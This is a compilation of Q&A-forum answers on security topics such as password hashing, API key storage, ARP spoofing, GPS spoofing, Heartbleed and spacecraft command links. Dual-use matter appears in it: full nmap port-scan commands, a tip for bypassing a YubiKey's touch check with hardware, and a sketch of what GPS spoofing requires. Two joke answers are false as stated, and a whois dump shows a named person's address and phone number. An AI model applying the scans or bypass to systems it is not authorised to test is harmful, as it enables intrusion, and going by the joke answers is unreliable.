All of this is about implementation of an existing, standardized algorithm. For instance, you are writing an RSA code. The standard is very specific about where each bit should go, so your job is "only" to make a robust implementation that does not leak information about the key or the encrypted data (which basically means using random blinding, or constant-time code with a fixed memory access pattern). When considering embedded devices with an external, attacker-controlled power supply (e.g. smart cards), the problem becomes a lot more complex and can be defined only as "high-level research" (and smart card vendors employ high-level researchers exactly for that reason). For more mundane software platforms, this is doable by a lone programmer, provided that he masters his tools and knows how to use academic research.

Designing your own algorithms, or your own protocols (a protocol can be defined as an assembly of algorithms), is another can of worms. A big one.

I am not sure whether it is possible to sum up all the required knowledge for good crypto coding as a teachable set of rules. However, some people are trying. That Web site might not be the ultimate answer, but at least it contains lots of good advice and pointers, and can at least serve as a list of things to watch for. Don't try to write production-level crypto code until you can read the coding rules and at least understand what each listed problem is, where it comes from, how it could be exploited, and why you should mind it (or not) in your specific context.

Ultimately, skills at good crypto coding are built on experience so the best you can do in that respect is to begin by writing some implementations yourself, then compare them with other implementations and see in what aspects they differ and why. Hash functions like the SHA family are a good starting point.


Secure server communication in an Android application

API key is stored inside native code portion of the application, not in plain text, but encrypted with an algorithm that is very complex and thus harder to reverse engineer than VM bytecode. So I need a method to eliminate replay attack, where an attacker can just call a specific native function and get the key. We assume that all native code is black box to an attacker.

This is security through obscurity. While it makes some sense to slow down attacker, it is by no means a mechanism to provide real security, e.g. attack prevention.

  So the question is what the best way to store the API key?

To define the defences you need to define threat model: what kind of threats are you protecting against? User reverse-engineering? Malware apps? Remotely rooting the device via some vulnerability? These threat vectors suggest different defences.

Putting apart security through obscurity, you might want to protect the API key cryptographically:

Make it random and cryptographically strong (e.g. hard to brute force)
Encrypt it with a secret, which is not stored on the device: PIN / password / fingerprint.
If you're protecting against the owner of the device (which it slightly feels like from what you're writing), there's no good threat prevention tactic, sorry.
To avoid replay attacks, you will need dynamic key, which gets updated upon every successful communication with server.

Notes:

Try to avoid encrypted with an algorithm that is very complex and thus harder to reverse engineer than VM bytecode, because that abuses Kerckhoffs's principle (https://en.wikipedia.org/wiki/Kerckhoffs's_principle), and it leads you to dark places.
Rely on good proven cryptography and managing the secret properly. Deriving / hiding the secret near protected data will end up bad sooner or later - that's steel security through obscurity, a good additional feature yet no foundation for good security.


Bcrypt is marginally "better" than PBKDF2. However, PBKDF2 is already quite fine: used properly, it ceases to be the weakest point in your system.

Remember that the point of the iterations in PBKDF2 is to make the password hashing slow for the attacker. Unfortunately, it makes it slow for you, too. You thus need to avoid making it unduly slow for you. In particular, consider SHA-512: SHA-512 uses a lot of 64-bit arithmetic operations. The attacker can buy PC which are good at 64-bit operations (recent enough x86 CPU have a 64-bit mode, and older processors could use SSE2 opcodes). Your server, on the other hand, could be a bit more limited: if your server runs in 32-bit mode, then SHA-512 will be quite slow for you (because you use .NET and in .NET you do not fiddle with SSE2 opcodes), giving the attacker a computing advantage (by a factor of about 6).

Using the system-provided PBKDF2 implementation maximizes the chances that you will not have such an artificial slowdown (in particular it could use a native-code implementation of SHA-1). The known shortcomings of SHA-1 do not impact its security when used in PBKDF2.

If you do anything "by yourself" then you have to understand these performance issues with all their fine details; and, if anything goes wrong, you will probably get the blame.


How do I protect myself from ARP spoofing as a client?

You could disable ARP completely:
(assuming your network device is eth0)
ip link set dev eth0 arp off
Then, you will need to manually add static ARP entities to any host you want to talk to using the arp command.

However, the attacker could still spoof your address, such that the gateway or other hosts thinks that the attacker is you.


Why is task manager often disabled on managed computers?

In order to understand why they are doing this, it is best to go into the manager's shoes.

I would disable everything except for the programs and utilities that the students etc. need, no more, no less.

Fewer people know how to use taskill than those that know how to use taskmanager. Otherwise, it doesn't.


Accessing another host in an wifi network

Will this allow me to access services?

Depends on the wireless router. Some have AP Isolation, some don't.
Without specifics this is not really something we can answer better than "are cars red?".

As Bruce Schneier famously said before cutting down a Huffmann tree with his bare hands:

"Why don't you run NMap yourself and report back to me if you run into issues?"

  Where exactly is this blocked?

At the router /access point. Specifically the MAC forwarding table.

  I am pretty sure its not possible

Based on what result? We can pitch in much better if you share your research.

  When the wireless Access point block my host from connecting to any other IP on the same wi-fi network ?

Only when you speak unicode. It hates unicode.


Customer Email Hacked, Subject line "smtp-mail.outlook.com,587,,"

Any simple (even detected as legitimate) script can read the passwords stored by clients like Outlook and then login to your server and spam a lot until eventually external filters down-rep your server.

If the compromised account has administrative privileges on the server it's even more serious.


Remote exploits are exploits that you can run on an external machine. Local exploits are exploits that you can run only with access to the machine (f.e. Privilege Escalations).

A remote exploit may be on a host inside an intranet, accessible only by few people, but also inside the internet, accessible by everyone.


How do we determine the SSL/TLS version of an HTTP request?

You want to look at the "protocol version" in the ServerHello message. Consider this image, shamelessly plundered from the Web and that shows a screenshot of a ServerHello being decoded by Wireshark:

There are two "Version: TLS 1.0 (0x0301)" instances in this picture. The first one is from the header of the record that contains the ServerHello. The second one is from the contents of the ServerHello message itself. The second one is the one you are interested in, because it is the way the server informs the client about the protocol version that will be used for this connection.


Besides IP addresses, how else could one be identified?

In case of web browsing your software configuration usually provides a pretty unique fingerprint that can be tracked as you browse. Check out the Panoptclick project.

Also every piece of information you post to different sites will contain information about you. For example the time of your postings will give a clue about which time zone you are in even if you don't provide any personal information.


Authentication and removing the ability to replay information from a compromised machine

Note that non-repudiation is about convincing a third party (a judge): Alice signs a message and sends it to Bob, so that non only Bob is convinced that the message really comes from Alice and was not altered, but Bob can show it to Charlie and Charlie will be convinced, too. Here, you only have a client and a server, no third party, so "non-repudiation" is not relevant here. This more looks like an authentication problem.

The first answer is that it is not possible on the following grounds: the machine being fully compromised, the attacker could read its entire contents. The attacker may then run a clone of the machine in a virtual machine and let that clone talk with the server. The clone will report that all is well, while the attacker pillages the genuine system. From a cryptographer's point of view, a difference which can be made between two entities, from the outside (e.g. a genuine watchdog, and a fake one), only if they cannot compute the same things, and ability to compute equates to knowledge: the watchdog can compute an answer to the server that the attacker cannot fake only if the watchdog knows some secret data that the attacker does not, and, by construction, this does not happen.

The second answer is that it might be feasible but it requires that the conditions are right. If we look at the problem closely, we see that the attacker's goal is to talk with the server, emitting messages that the compromised machine cannot produce. This means that the watchdog can work reliably only if the compromise is destructive. For instance, suppose that:

The client under supervision uses a set of system files (the operating system with its kernel and libraries and utilities).
Under normal conditions, these files are not entirely known to the attacker (he may have copies of some or most of them, but not all).
But the server knows all the files, exactly.
A successful compromise necessarily "damages" at least one file (that's the tricky point) and the modified contents cannot be recovered afterwards by the attacker.

Under these conditions, then you can use the following:

Make an archive of all the system files, in alphabetical order. The archive format must include the file names and contents and be deterministic: if you make the archive twice, you get twice the same output file, exact to the last bit. The archive file is not stored on disk or in RAM; it is hashed on-the-fly with SHA-256.
Let K be the SHA-256 output. At regular intervals, the client talks to the server; the server sends a random challenge C, and the client responds with HMAC/SHA-256, computed over C and using K as key.
The server uses his knowledge of the client files to recompute K and verify the HMAC output.

The challenge-response protocol with HMAC prevents replay attacks. MitM do not apply either. We really are in information-theoretic grounds here, not "normal crypto".

Unfortunately, it is very hard to ensure the conditions above. Secrecy of the device contents is almost impossible to achieve when the device is a consumer product (the attacker can buy other device instances, open them and look at all the contents), and most compromises are not destructive, at least as far as system files are involved: buffer overflows and similar vulnerabilities lead to RAM-only exploits, with no change whatsoever to system files.

Therefore what I expose here is more a theoretical concept than anything practical. However, this ought to help understand the issue: to prevent hidden alterations, the watchdog must own a "secret" which will not be revealed through a full compromise, which is kind of paradoxical and requires a bit of cheating with preposterous conditions.


What are the security measures taken on GPS transmissions?

I'm going to start off my assuming that you're referring to the Civilian segment of the NAVSTAR (US/NIST) based system and not the encrypted military version.

Short answer is that there is no cryptographically secure encryption in place over the transmitted NAVSTAR Ephemeris data.  It's not impossible to spoof this signal, just technically very difficult and requires precise synchronization of many different systems.  (It's not at all like "Tomorrow Never Dies")

Understanding how the GPS Space Segment works will illuminate why this is inconsequential to the performance of the system.  There are currently 24 active space vehicles (SVs) and 4 spares in orbit around the earth right now.  Each SV is identified by a C/A (Course or Acquisition) code that is uniquely identifiable.  The NAVSTAR base signal is transmitted at 1575.42 MHz and every SV transmits on the same frequency.  How do they avoid stomping all over each other you ask?  They use Code-Division Multiple Access (CDMA - yes, like Verizon and your cell phone) to allow the receiver to filter out the signal (arranged by C/A code).

Each SV transmits what's called the Ephemeris data, these are 6 parameters (and a few extra for corrections) that allow the receiver to exactly calculate the positions of all 28 SVs in orbit for a precise time (that time delivered by those SVs).  You can then use the calculated position of the satellites to determine the pseudorange from the SV to you, and therefore your position.  Huzzah!

Now, to break it.

You would have to have

The ability to generate and encode a properly formatted NAVSTAR Ephemeris message
The ability to directionally target this message (and signal) towards your intended victim
The ability to completely drown out the standard NAVSTAR broadcasts on L1, L2 and L5 (unlikely, as the signal level itself is down at around -159 dBw broadcast and looks like static.)

If even you were to put these systems in place, your signal would appear as a very directional skew, and only to the select few people in its path which make spoofing it a very expensive and cumbersome task.  (What's likely is that your receiver will think you are somewhere in the middle of the Earth.)  It's much easier to just jam the signal altogether and remove the user's ability to navigate through space and time.

High level GPS/NAVSTAR Overview - Slides

High level GPS/NAVSTAR Overview - Text

More detailed signals specification

EDIT :
I found a fantastic TED Talk describing a series of possible exploits for GPS as well.


Privacy Policy(ies). Does the cookie “collect” browser data or “request” browser data?

Cookies neither collect nor request data. Cookies are just boxes you can store information in the client side that may be later retrieved when the client enters the site after setting the cookie.


Does split knowledge always require an implementation of dual control?

Not sure that "more secure" would be an accurate assessment of the two. Both of these are examples of separation of duties and both implementations require more than one administrator to perform the task. If the task requires more than one administrator does it really make it more secure if one doesn't have the knowledge to perform the other half of that task? From a corporate administration standpoint it's actually more risky to have only one person that can perform the task (all your eggs in one basket). One could argue that dual control could actually be more secure since both admins have knowledge of the task and can perform validation of the steps taken during the task and correct errors before they happen.
Once again I would say it's not so much of a "one implementation is more secure than another" as it is just different ways to enforce separation of duties.


Does PUT or DELETE offer any security advantage over GET or POST?

The GET (as well as HEAD, OPTIONS and TRACE) is defined as a safe method (RFC 7231, 4.2.1). By this definition you should never use GET to replace PUT, DELETE etc.
The  PUT and DELETE are idempotent methods (RFC 7231, 4.2.2):

  A request method is considered "idempotent" if the intended effect
  on the server of multiple identical requests with that method is
  the same as the effect for a single such request. Of the request
  methods defined by this specification, PUT, DELETE, and safe
  request methods are idempotent.

The POST method doesn't have these restrictions, but keep in mind that Representation State Transfer REST is a software architechtural style. From W3C Working Group Note 11 February 2004, 3.1.3, emphasis is mine:

  An even more constrained architectural style for reliable Web
  applications known as Representation State Transfer (REST) has been
  proposed by Roy Fielding and has inspired both the W3C Technical
  Architecture Group's architecture document [Web Arch] and many who see
  it as a model for how to build Web services [Fielding]. The REST Web
  is the subset of the WWW (based on HTTP) in which agents provide
  uniform interface semantics -- essentially create, retrieve, update
  and delete -- rather than arbitrary or application-specific
  interfaces, and manipulate resources only by the exchange of
  representations. Furthermore, the REST interactions are "stateless" in
  the sense that the meaning of a message does not depend on the state
  of the conversation.

Therefore, despite using POST in place of PUT and DELETE doesn't have direct security implications, your API wouldn't be RESTful anymore, but an arbitrary application-specific interface.


Linux responds to ARP requests for other interfaces - could this be a security vulnerability?

Yes, this is possible, even with arp_filter set to 0.

Server listening:

# nc -nlvu -s 192.168.250.1 -p 123
listening on [192.168.250.1] 123 ...

Connection from Client 1 - Client 1 is set to route all traffic via server, so it does not need any ARP response for eth1:

# ncat -nvu 192.168.250.1 123
Ncat: Version 7.01 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.250.1:123.

Client 1 can now communicate with the server, even though it isn't on the network connected to eth1:

# ncat -nvu 192.168.250.1 123
Ncat: Version 7.01 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.250.1:123.
FOO
BAR

Communication shown on the server:

# nc -nlvu -s 192.168.250.1 -p 123
listening on [192.168.250.1] 123 ...
connect to [192.168.250.1] from (UNKNOWN) [192.168.1.2] 57677
FOO
BAR

This is because Linux will accept connections for all configured IPs for all interfaces, even from interfaces that do not have the socket bound. arp_filter only affects whether this is advertised or not. If this is undesired behaviour, then IPTABLES can be used to prevent connections to IPs not configured on an interface.

This could be a vulnerability if the server's security was based upon the fact that only connections to services listening on one IP address could be connected to from that interface's subnet.


How to make my homemade program not come up with security warnings?

There are two ways to do this:

Install your own root certificate to the system's certificate store, this is only suitable for programs you use for yourself or a small number of users, and doesn't cost you anything
Get a code signing certificate from a trusted Certificate Authority. You need either a registered business or legal proof identity for most CA to approve your application

References:

Introduction to Code Signing
Find a Certificate Authority here or here


How does Malwarebytes intercept web traffic?

I don't know the actual answer, but my guess would be that it's installing an API hook in Windows that intercepts the data prior to it hitting encryption.

[HTTP request]->[MBAM]->[TLS Encryption]->[Network]

If you're saying it didn't automatically add a trusted cert to your system's store, then that's the second easiest method that I can think about.


Does the HeartBleed vulnerability affect Apache Tomcat servers using Tomcat Native?

According to the document you linked to, the APR connector

  Uses OpenSSL for TLS/SSL capabilities (if supported by linked APR library)

Therefore, it would be reasonable to assume that the Tomcat Native Library would be vulnerable to the Heartbleed bug.  However, the conditions are different, because Tomcat is written in Java, and Java has its own allocation system (the famous garbage collector) which obtains memory from the OS by huge blocks, quite apart from the zones where OpenSSL obtains its blocks.

Thus, the heartbleed buffer overrun is unlikely to reveal any secret information which exists as Java-based object. It may, however, obtain information which is allocated from the same heap as where OpenSSL obtains its own buffers. In particular, it is possible that the vulnerability may reveal part or all of the private key used by OpenSSL itself.


Linux: is sending prompt notifications on ssh logins a security measure?

About the insecurity, imho, you're thinking in the wrong direction.
What bad things do you think this system is preventing? Absolutely nothing, and that's why it cant fail to prevent it. On the opposite, it's added security; because if someone gains unauthorized access, there's at least a chance that he didn't know about (or couldn't prevent) the mail.

The only thing to remember the customer is that relying on the mails too much isn't good. As alert, fine, as single source of truth ("we are not hacked because there's no mail"), no. There are too many ways emails can fail, and too many ways to get hacked without proper SSH login.

About the firewall, if someone blocks incomding SSH connections then nobody can login anymore. That's probably not helpful.

About a method that doesn't rely on the user and shell, PAM can do it too. See https://serverfault.com/questions/395393/email-notification-about-each-ssh-connection-to-linux-server
There is even an option to deny login if the command failed, but in this case, that's not really helpful (no login because the mailserver is down or whatever, and successfully sending it to the server doesn't mean that it arrived at the receiver).

About SMS, no, they are not more secure than emails.


openssl_digest vs hash vs hash_hmac? Difference between SALT & HMAC?

Short answer: use bcrypt.

For storing passwords, you actually do not want to store the password itself, only "something" which is sufficient to verify a password. This "something" should be the result of a deterministic function applied to the password. Preferably, the function shall not be reversible (because that's the point of not storing the password itself: preventing an attacker, who managed to obtain a read-only access to the database of a server, from immediately computing all the users' passwords). By the same reasoning, the password processing function should strive to make password guessing uneasy. "Password guessing" is trying potential passwords until a match is found (it's called a dictionary attack).

To make dictionary attacks difficult, the password processing function should have three characteristics:

It should be slow.
It should be distinct for each password instance.
The hardware which optimally computes the function should be exactly the hardware which will run it under normal conditions.

Slowness is about making each "guess" as expensive as possible for the attacker. This is usually done by iterating a one-way function; the number of iterations should be counted in thousands or even millions. Standard hash functions are very fast; a plain PC can evaluate SHA-256 or SHA-512 millions of times per second. We do not want an attacker to be able to try millions of passwords per second on a plain PC. Hence, we use many iterations. Of course, this makes password verification slower for us too -- but we do not have millions of passwords to verify per second, so we can tolerate a quite high iteration count.

Making the function distinct for each instance is what the salt is about. The salt is a parameter which alters the processing of the password (let's say that it is "hashed together with the password"). The salt is stored with the hashed password. The salt is chosen randomly when the user chooses his password; a new salt is generated when the user changes his password. The role of the salt is to make password processing different each time. This prevents parallel attacks. An attacker who got a copy of the server database may want to attack 1000 accounts simultaneously, by hashing a potential password and see if the result matches any of the 1000 stored passwords; this is a parallel attack and the salt defeats that. A precomputed table of hashed password, where a given stored hash password could be simply looked up, is also a kind of parallel attack, and the salt is still effective against that. Salting is good. Salts work optimally when no salt value is ever repeated; a big enough random salt ensures that with high probability.

Optimality of hardware is about making the attack expensive for the attacker. We have a server (i.e., a PC) which spends as much CPU as is tolerable on password hashing (the number of iterations is configured that way). This scheme would be weakened if the attacker could run his dictionary attack in a more cost-effective way by using another kind of hardware, in particular a GPU. A 500$ GPU will usually be able to try 10 or 20 times as many passwords than a 500$ CPU, if the password processing function maps well to the kind of operations that GPU handle well. Usual hash functions such as SHA-256 map uncannily well to GPU abilities. So, by using such a function as the basis for a password processing function, you are basically giving a 20x advantage to the attacker.

Choosing a one-way function which does not run well on a GPU, iterating it many times without compromising the one-wayness, and adding a salt, is very difficult to do correctly: security is a subtle thing, and cannot be tested, save by hiring a bunch of cryptographers and letting them work a few months on the subject. Even then, the cryptographers will not give you any answer more decisive than "we are the best of the best at what we do, and yet we did not find any weakness... for the time being". You are strongly advised not to invent your own scheme; that's the first and foremost lesson in such matters: handmade is bad.

Instead, choose a function which has been around, widely used, and not broken yet, for a decade. Fortunately, such a function exists, it is called bcrypt. If you work in a field which is inordinately concerned with administrative approval, you may want to use PBKDF2 instead; but PBKDF2 runs with a standard hash function, which means that a GPU-wielding attacker gets a bonus, which he will not have with bcrypt, which is deliberately hostile to GPU (see this previous answer for details).

HMAC has nothing to do with all that. It is a Message Authentication Code, aka a kind of "keyed checksum" used to verify integrity of a piece of data. HMAC uses a key, so it involves key management, which has never been a simple thing. Some people have advocated storing such keyed checksums as password verification tokens, the idea being that the attacker will not be able to "try passwords" even if he has a copy of the tokens, because they are useless without the key. But this assumes that the attacker could not get a copy of the key, even though he could access a dump of the server database. Therefore, practical applicability of this model is questionable. Key management is a can of worm; avoid it if you can.

HMAC is defined as operating with a hash function (any hash function); it invokes that function twice in order to be a proper, secure MAC, even with existing hash functions which have a few shortcomings.


Is there a way to generate a Yubikey OTP without touch?

Even if there were, you have effectively bypassed the one useful feature of the Yubikey: external verification is required for access to the TOTP token.

If you control the workflow then perhaps switch to another OTP mechanism where you can use the secret programmatically. Or remove OTP for a limited set of circumstances dictated by your threat model, e.g. for one user from one IP.

If you don’t control the workflow then consider hacking the Yubikey with an Arduino, a USB controlled switch or similar. The “button” is simply a capacitive sensor.


If by "we" you mean the small subset of developers reading security.stackexchange.com who create the authentication systems for a small subset of applications, then there's no reason to limit what symbols users are allowed to use or the length of passwords they're allowed to input. Well, perhaps 1000 characters would be a good password limit in order to prevent denial of service attacks. But you're right that limiting password length to 8 characters, only containing a subset of possible characters, etc. is bad practice. It's better to give users the flexibility to use whatever authentication method(s) they choose, and to encourage users to choose good ones like using longer passwords instead of shorter ones. (Although providing users a link to a book or a long blurb on password techniques during account creation will probably get used as often as terms and conditions get read. Password strength meters are generally inaccurate, but at least they're something.) And in addition to making a system that allows users to have good passwords, we should also implement other security controls like limiting logon attempts, storing passwords securely, protecting against SQL injection, changing passwords of default admin accounts, and so on.

The problem is that we're not every developer. Lots of developers see computer security as an obstacle they need to overcome or a checkbox they need to check before publishing their system. Many times non-technical people in management positions will impose bad requirements on developers, like a bank executive demanding that users be able to use touch tone phones to input their web password so people can log in through some antiquated phone service system the bank developed a few decades ago. So you'll never see every system have good password practices because you can never make "knowledge of good password practices" a requirement for system development.

As for passphrases specifically, I don't think anyone should use memorized passwords on any system they don't control if they can help it. In 2007 the average user had 25 accounts, and I suspect that number has increased significantly. It's humanly impossible to memorize that many passphrases if you require them all to be truly unique. The biggest risk with passwords is password reuse: if you get all your users to make 40 character passphrases and store it with PBKDF2, you're still going to have identity theft on your site when your users use the same credentials on a site that's storing passwords in plaintext and that site gets hacked. So rather than pushing passphrases, I think we should be pushing password management software. Passphrases are great (Diceware is better) for locking password managers, and then you can use truly random passwords for meeting whatever requirements are imposed by the developers of the systems you're using.


If you are just looking for a way to access it from the outside look at an external VPN or use Tor

https://tor.eff.org

Using nmap from an external network is probably the easiest and most thorough way to make sure you scan everything. Note: Many services and security tools completely skip ports 9100 and port 0, some skip everything that's not particularly popular at a given time. Be thorough about your testing method to ensure you have tested all possible ports.

https://nmap.org/

Make sure you check all ports on each interface from that interfaces respective network. Likewise make sure you scan the TCP ports, UDP ports, IP services, and IPv6 if you have that configured.

The following commands will help:

TCP scans

nmap -n -Pn --allports -p 0-65535

UDP scans (Note: You may need to run UDP scans slowly to ensure packets are not lost)

nmap -n -Pn --allports -sU -p0-65535

IP Services Scan

nmap -n -Pn -sO

etc...

Likewise it may also be helpful to run some of the tests with the nmap NSE sripts which can be found here:

https://nmap.org/nsedoc/


Nginx: How to block IP by hostname regex

First off, let me start with an important fact: Regex on reverse IP lookups is a bad idea for blocking incoming requests. Reverse DNS is an informational function. Unlike DNS where it is critical for the domain to point to the correct IP address there is little consequence for having the reverse lookup of an IP point to an arbitrary domain. Thus it would be trivial for an attacker to cycle through arbitrary domains in their reverse DNS records to constantly bypass the filter. Relying on reverse DNS for security functions can be classified as CWE-350 (https://cwe.mitre.org/data/definitions/350.html).

In this case the source of the problem seems to be a specific provider so you could just block their entire IP range. Lets start by finding one of the IP addresses (I'm assuming the reverse IP->hostname entry is valid in this case):

~# nslookup 52-182.static.spheral.ru
Server:     192.168.153.2
Address:    192.168.153.2#53

Non-authoritative answer:
Name:   52-182.static.spheral.ru
Address: 195.88.209.9

Now lets determine their IP range/provider:

root@bt:~# whois 195.88.209.9
% This is the RIPE Database query service.
% The objects are in RPSL format.
%
% The RIPE Database is subject to Terms and Conditions.
% See http://www.ripe.net/db/support/db-terms-conditions.pdf

% Note: this output has been filtered.
%       To receive output for a database update, use the "-B" flag.

% Information related to '195.88.208.0 - 195.88.209.255'

% Abuse contact for '195.88.208.0 - 195.88.209.255' is 'info@spheral.ru'

inetnum:        195.88.208.0 - 195.88.209.255
netname:        IPSERVER
descr:          Operated by IT Expert LLC
remarks:        Abuse mailbox: abuse@ipserver.su
country:        RU
org:            ORG-Al123-RIPE
admin-c:        SOV63-RIPE
tech-c:         SOV63-RIPE
status:         ASSIGNED PI
mnt-by:         RIPE-NCC-END-MNT
mnt-by:         MNT-SPHERE
mnt-routes:     MNT-SPHERE
mnt-routes:     FIORD-MNT
mnt-domains:    MNT-SPHERE
created:        2009-04-15T12:34:23Z
last-modified:  2016-04-14T09:38:32Z
source:         RIPE
sponsoring-org: ORG-SL202-RIPE

organisation:   ORG-Al123-RIPE
org-name:       Antaro ltd.
abuse-mailbox:  abuse@spheral.ru
org-type:       other
address:        127473, Moscow, 2 Schemilovskiy per., d.5/4., str.1
abuse-c:        AC29892-RIPE
mnt-ref:        ANTARO-MNT
mnt-by:         ANTARO-MNT
created:        2009-04-14T08:02:50Z
last-modified:  2016-02-15T16:45:17Z
source:         RIPE # Filtered

person:         Strekozov Oleg Vladimirovich
address:        Russia, 107031, Moscow, proezd Dmitrosvkiy 8
phone:          +18552100465
nic-hdl:        SOV63-RIPE
mnt-by:         MNT-SPHERE
created:        2012-05-05T22:19:17Z
last-modified:  2014-09-15T13:18:40Z
source:         RIPE

% Information related to '195.88.208.0/23AS28917'

route:          195.88.208.0/23
descr:          IPSERVER
origin:         AS28917
mnt-by:         FIORD-MNT
mnt-routes:     FIORD-MNT
created:        2012-12-24T08:35:13Z
last-modified:  2015-03-10T14:32:44Z
source:         RIPE # Filtered

% This query was served by the RIPE Database Query Service version 1.87.3 (DB-2)

Based on this information you can make an official complaint about these attacks to info@spheral.ru and escalate to abuse@spheral.ru and abuse@ipserver.su if your abuse report isn't being addressed.

You can also block future attacks with the range 195.88.208.0 - 195.88.209.255 or 195.88.208.0/23 if you prefer CIDR notation.

I hope this helps.


Does OpenID Connect Hybrid Flow return ID Token on /token endpoint?

Chapter 3.3.3.6 of openid-connect-core-1_0 specification you are linking:

When using the Hybrid Flow, the contents of an ID Token returned from the Token Endpoint are the same as for an ID Token returned from the Authorization Endpoint, as defined in Section 3.3.2.11, with the exception of the differences specified in this section.
If an ID Token is returned from both the Authorization Endpoint and from the Token Endpoint, which is the case for the response_type values code id_token and code id_token token, the iss and sub Claim Values MUST be identical in both ID Tokens. All Claims about the Authentication event present in either SHOULD be present in both. If either ID Token contains Claims about the End-User, any that are present in both SHOULD have the same values in both. Note that the OP MAY choose to return fewer Claims about the End-User from the Authorization Endpoint, for instance, for privacy reasons. The at_hash and c_hash Claims MAY be omitted from the ID Token returned from the Token Endpoint even when these Claims are present in the ID Token returned from the Authorization Endpoint, because the ID Token and Access Token values returned from the Token Endpoint are already cryptographically bound together by the TLS encryption performed by the Token Endpoint.

My interpretation would be that, yes, /token endpoint does return ID Token if "id_token" response type has been originally requested.


What are the practical differences between SELinux targeted mode and a capability based OS?

I think a lot of the problem with capability-based systems and our understanding of them is that there are few in the wild. However, you're in luck - FreeBSD have just added capsicum support to their 9.0 release. Capsicum is a research project to implement a [lightweight practical set of capabilities][1]. This work involved people at the Google Security Research team and includes an experimental chrome browser build designed to use the system.

What might be most of interest to you are the list of features:

  capabilities - refined file descriptors with fine-grained rights

Practically, will operate like SELinux, with obvious administration differences. Has analogies to type labels.

  process descriptors - capability-centric process ID replacement

Has analogies to SELinux domains. From a user perspective, may appear to be no different.

Now, in the next set of features you see why capabilities aren't yet in common usage:

  anonymous shared memory objects - an extension to the POSIX shared memory API to support anonymous swap objects associated with file descriptors (capabilities)
  rtld-elf-cap - modified ELF run-time linker to construct sandboxed applications
  libcapsicum - library to create and use capabilities and sandboxed components

Whereas SELinux requires kernel support and a policy and is ok to go from there, configuration problems aside, practically implementing capabilities requires a modified approach to the APIs available and subsequent preparation of applications to access them.

Now specifically to your questions:

  Can they both prevent access to the same granular level?

Roughly comparable, yes. SELinux can, for example, describe an application domain and give it access to a certain folder for reads only. Capability based systems would, when initialising the process, simply not hand it a capability to write to that path, or refuse such requests subsequently. It's the how they're implemented that varies.

  Are different attacks possible on SELinux in targeted mode than on a capability based operating system?

Honestly, it's quite hard to say. I don't know of any mass-deployed capability based operating system that's attracted sufficient interest to be seriously road tested. I expect, however, ultimately the goal will remain the same - persuade a process to execute code for you using its higher privileges (capabilities). They may vary to exploit the how in the same way buffer overflows vary depending on the program being targeted, but ultimately the fundamental goal is still the same.

You could always give it a go. There's also documentation on the API modifications I've talked about.

Disclaimer: I am not affiliated with the Capsicum Project, the University of Cambridge, or the FreeBSD Project in any way.


I used to be a Command Controller (CC) at the Laboratory for Atmospheric and Space Physics (LASP) (http://lasp.colorado.edu/). I was one of the people who would sit in front of the console during the times when spacecraft were visible to the ground stations. I would read/record telemetry to ensure spacecraft health and often send up new commands that would be executed by the spacecraft.

In order to communicate with the ground stations (for both data and voice if necessary), the Mission Operation Center (MOC) at LASP had to have a connection to NASA's "red net". I am not sure if this was a LASP term or a NASA term. A google search turned up little information.

In order to be even let in the room with access to the "red net" background checks were required. Then, in order to actually interact with the console, you had to be a certified CC, or a CC in training being overseen by a certified CC. All CC activity is always overseen by a "Flight Controller" (FC) or even a "Flight Director" (FD).

In the training to become a CC, we all had to know exactly the packet structure of the communication protocol for every spacecraft we operated. While there were most certainly checksums in the protocol, I don't believe that there was any sort of encryption, authentication or verification of the data received by the spacecraft. The spacecraft are always designed to be very fault tolerant, and have fallback modes in case the RF communication is corrupted or there are other "single bit errors". Error detection and correction is a fundamental feature of RF spacecraft communication.

I also worked on one deep space mission, though not as a CC. Anything not in earth orbit would require much larger antennas and likely what NASA calls the "Deep Space Network" (http://deepspace.jpl.nasa.gov/dsn/). This makes an attack even more challenging.

The risks as I see them today are several fold. I am not sure if they have since been fixed as I haven't worked at LASP in many years. I am also completely unaware of the design of anything but a few scientific missions. The worst things I think an attacker could do would be:

Threaten to deorbit the spacecraft, or even simply waste precious propulsion fuel, for mischeif or for ransom.
Threaten to try to change the orbit which could possibly cause a collision with other spacecraft -- again, for mischeif or ransom.

Otherwise, I am not sure what could be gained by an attacker.

Here are the vectors I see that may make an attack possible:

Forged communication with the spacecraft. This would have to be done with knowledge of the spacecraft's ephemeris and with the ability to establish communication with the spacecraft. The ephemeris is fairly easy to obtain, but getting control of a ground station may require that the attacker be a state actor.
Man in the middle (MITM) attacks between the ground station and MOC. Getting onto the NASA "red net" would be highly challenging. This is the same network that the space station operates on. However, once there, it might be possible to somehow become a MITM and pass on good or forged telemetry to the MOC while sending arbitrary commands to the ground station (ignoring any commands sent by the MOC). This would also require that the attacker have fairly vast resources and prior knowledge.

In either of these cases, the payoff would likely not be worth the reward. Then again, I only worked with "smallish" scientific missions. It might certainly be worth the risk for one country to "steal" a military spacecraft from another as the cost for a country to design, launch and maintain such a spacecraft is likely much greater than the cost of the attack. I imagine these have much stronger security though.

To answer your question, I don't know how secure the Mars Curiosity mission is. However, due to the distance, it probably operates solely on the DSN ground stations (very large antennas, of which there are only a handful in the world). Any attacker would either have to commandeer one of these stations, or build his own (which would be hard to hide). Further, the security of the communications between the ground stations and mission operations is certainly a top priority for NASA and JPL.

In summary, communications reliability is a much greater concern when designing spacecraft -- it's really hard to talk to stuff so far away, with so much interference in-between and the constant bombardment of radiation that can affect just about anything in the process. While there may or may not be any sort of encryption, authentication or verification in the RF communication between the ground station and the spacecraft, the ability to actually interfere would likely only be available to nation-states. It would also be hard to hide who would be behind such an attack and the political fallout would likely be immense.


Does the CVSS impact score correspond to probability?

No, they do not. They are impact scores.

The page you linked to in your previous question on this details it: http://nvd.nist.gov/cvsseq2.htm


Why doesn't a simple HTTP request to display a remote web page violate the same-origin policy?

And how can a web server distinguish between requests coming from a script and coming from a user?

It doesn't. The same origin policy is enforced by the browser, not the server.
The purpose of the Same Origin Policy (SOP) isn't to protect the server itself. Instead it's to protect confidential information which the server wishes to share with the user, but not to share with other parties. This information may be protected by checking the user's cookie, authentication header, or IP address when they send a request, but those checks can be bypassed by an attacker getting the legitimate user to open the attacker's website with a script to request the information.
This is when the SOP provides protection. The request may still be sent, but the browser can refuse to allow the script to see the information in the response.
If there is a need to protect the server against potentially harmful requests that it could be tricked into carrying out based on its trust in the user, the SOP is not enough. At that point the server needs other techniques to defend against CSRF.


How important is NAT as a security layer?

